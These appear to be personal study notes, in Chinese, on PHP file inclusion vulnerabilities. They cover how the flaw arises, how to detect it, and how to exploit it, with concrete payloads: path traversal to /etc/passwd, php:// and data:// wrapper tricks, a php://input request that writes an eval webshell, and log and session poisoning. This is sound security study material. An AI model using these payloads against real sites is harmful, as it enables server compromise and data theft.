今天学习了文件包含,是说实话只看这个名字,看的我一脸懵。

一、概念

1、文件包含是什么?

比如一个网站有:

header.php   头部
menu.php     菜单
home.php     首页内容
footer.php   底部

主页面 index.php 里面可能这样写:

include("home.php");

意思是:把 home.php 这个文件拿过来,放到当前页面里一起执行。这就是文件包含

2、为什么会有漏洞

问题出在:如果要包含哪个文件,是用户说了算,那就危险了。

比如代码这样写:

$page = $_GET['page'];
include($page);

用户访问:

index.php?page=home.php

服务器就会执行:

include("home.php");

这时候是正常的。

但是如果攻击者访问:

index.php?page=../../../../etc/passwd

服务器可能就会去加载系统文件,这就出问题了。

3、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

4、分类

本地包含-Local File Include-LFI

远程包含-Remote File Include-RFI

差异原因:代码过滤和环境配置文件开关决定

二、漏洞发现

1、白盒审计

PHPincluderequireinclude_oncerequire_once 等

include 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require 函数出现错误的时候,会直接报错并退出程序的执行

Javajava.io.Filejava.io.FileReader 等

ASP.NETSystem.IO.FileStreamSystem.IO.StreamReader 等

2、黑盒分析

-黑盒发现:主要观察参数传递的数据和文件名是否对应

URL 中有 pathdirfilepagpagearchivepeng、语言文件等相关字眼

三、漏洞利用

1、配合文件上传漏洞

结合之前学的文件上传漏洞进行结合。

2、读取敏感文件

例如尝试读取系统文件、配置文件、数据库密码等信息

?page=../../../../etc/passwd
?page=../../../../var/www/html/config.php

3、目录穿越

使用:

../

不断跳出当前目录,尝试读取到更多的信息。

4、PHP 伪协议

参考:(新)PHP伪协议详解-CSDN博客

-文件读取:

file:///etc/passwd

php://filter/read=convert.base64-encode/resource=phpinfo.php

-文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

-代码执行:

php://input POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

远程利用思路:

直接搭建一个可访问的远程URL包含文件

5、无文件日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

6、无文件SESSION包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

自定义session名字,条件竞争访问session文件,触发创建新文件

三、文件下载读取&删除

1、下载

常规下载URL:http://www.xiaodi8.com/upload/123.pdf

可能存在安全URL:http://www.xiaodi8.com/xx.xx?file=123.pdf

利用:常规下载敏感文件(数据库配置,中间件配置,系统密匙等文件信息)

2、删除(常出现后台中)

可能存在安全问题:前台或后台有删除功能应用

利用:常规删除重装锁定配合程序重装或高危操作

更多推荐